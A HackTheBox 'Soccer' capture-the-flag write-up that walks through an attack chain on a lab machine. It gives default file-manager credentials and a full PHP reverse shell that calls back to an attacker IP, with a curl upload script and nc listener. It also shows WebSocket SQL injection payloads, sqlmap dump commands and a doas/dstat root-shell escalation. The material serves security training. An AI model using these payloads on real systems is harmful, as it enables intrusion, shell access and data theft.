HackTheBox Soccer Writeup
Explore the fundamentals of cybersecurity in the Soccer Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.
Add Hosts
Edit the /etc/hosts
file and add the following entries:
1
10.10.11.194 soccer.htb soc-player.soccer.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.194"
domain="soccer.htb soc-player.soccer.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV soccer.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-25 21:03 CEST
Nmap scan report for soccer.htb (10.10.11.194)
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Soccer - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Wed, 25 Sep 2024 19:03:38 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Wed, 25 Sep 2024 19:03:38 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.95%I=7%D=9/25%Time=66F45E84%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Wed,\x2025\x20Sep\x202024\x2019:03:38\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Wed,\x2025\x20Sep\x202024\x2019:03:38\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Wed,\
SF:x2025\x20Sep\x202024\x2019:03:38\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
1
ffuf -u http://soccer.htb/FUZZ -c -w /usr/share/dict/SecLists/Discovery/Web-Content/raft-small-words.txt -fc 403
We discover the Tiny File Manager interface at: http://soccer.htb/tiny
CVE-2021-45010 (Tiny File Manager)
The default credentials for Tiny File Manager can be used:
username : admin
password : admin@123
Reverse Shell Exploit Setup
Replace
<vpn-ip>
with your actual VPN IP to receive the connection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Start a listener for the reverse shell:
1
nc -lvnp 9001
Execute the following script to upload the reverse shell to the vulnerable server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
URL="http://soccer.htb"
admin="admin"
pass="admin@123"
shell="shell.php"
local_shell="/tmp/$shell"
cookie=$(curl -s -X POST -d "fm_usr=$admin&fm_pwd=$pass" "$URL/tiny/" -i | grep -oP 'Set-Cookie: \K[^;]+')
if [ -z "$cookie" ]; then
echo "[-] Login failed"
else
echo "[+] Login success. Cookie: $cookie"
fi
webpath="tiny/uploads"
webroot="/var/www/html/tiny/uploads/$webpath"
upload=$(curl -s -X POST -H "Cookie: $cookie" -F "file=@$local_shell" -F "fullpath=$shell" "$URL/tiny/?p=$webpath")
if echo "$upload" | grep -q "successful"; then
echo "[+] File upload successful"
echo "[+] Shell located at $webroot/$shell"
else
echo "[-] Upload failed"
fi
curl -s "$URL/$webpath/$shell"
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z
to background the shell, then run:
1
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
1
export TERM=xterm;
Inspecting NGINX Configuration
After obtaining the reverse shell, check the NGINX configuration:
1
2
ls /etc/nginx/sites-enabled/
cat /etc/nginx/sites-enabled/soc-player.soccer.htb
The configuration reveals:
1
2
3
4
5
6
7
8
server {
listen 80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
}
}
This indicates that soc-player.soccer.htb
is forwarded to a service running on port 3000.
Blind SQL Injection via WebSocket
First, register an account and log in at http://soc-player.soccer.htb/check. After logging in, enter the following payloads in the input field to test for SQL injection:
1 2
710191 or 1=1-- - 710191' or 1=1-- -
You will see that the application is vulnerable to SQL injection.
During analysis, I discovered that
soc-player.soccer.htb
uses a WebSocket for communication. Using Firefox’s developer tools, I identified the WebSocket endpoint and captured the payload being sent in the network requests.The WebSocket endpoint is:
1
ws://soc-player.soccer.htb:9091/
You can exploit this WebSocket service with a blind SQL injection payload:
1
{"id":"710191 or 1=1-- -"}
This confirms that the service is vulnerable to SQL injection via the WebSocket, and you can proceed with tools like SQLMap or manual exploitation.
To further test the SQL injection vulnerability, use the following command to connect to the WebSocket service:
1
wscat --connect 'ws://soc-player.soccer.htb:9091/'
Send the SQL injection payload via WebSocket:
1
{"id":"710191 or 1=1-- -"}
You should see the response:
1
< Ticket Exists
Using SQLMap for SQL Injection Exploitation
Once confirmed, use sqlmap
to automate database extraction:
Discover tables and sqli:
1
2
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --threads 10
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --threads 10 --dbs
Get Items:
1
sqlmap -u 'ws://soc-player.soccer.htb:9091/' --data '{"id":"*"}' --technique=B --risk 3 --level 5 --batch --threads 10 -D soccer_db --dump
SSH Access
After dumping the database, use the credentials to SSH into the server:
1
2
ssh player@soccer.htb
cat user.txt
Privilege Escalation with doas
doas
is setuid in /usr/local/bin/doas
, as discovered using the following command:
1
find / -type f -perm -u=s -ls 2>/dev/null
Inspecting the doas
configuration file using:
1
cat /usr/local/etc/doas.conf
reveals that dstat
can be executed as root via doas
without requiring a password. Additionally, we can both read and write in the /usr/local/share/dstat
directory, found with:
1
find / -group $USER 2>/dev/null | grep -v '^/proc\|^/run\|^/sys'
The method to escalate privileges by exploiting dstat
is detailed on GTFOBins for dstat. To exploit this and gain a root shell, follow these steps:
1
2
3
cd /usr/local/share/dstat
echo 'import os; os.execv("/bin/sh", ["sh"])' > dstat_xxx.py
doas /usr/bin/dstat --xxx
After running this, you’ll have a root shell:
1
cat /root/root.txt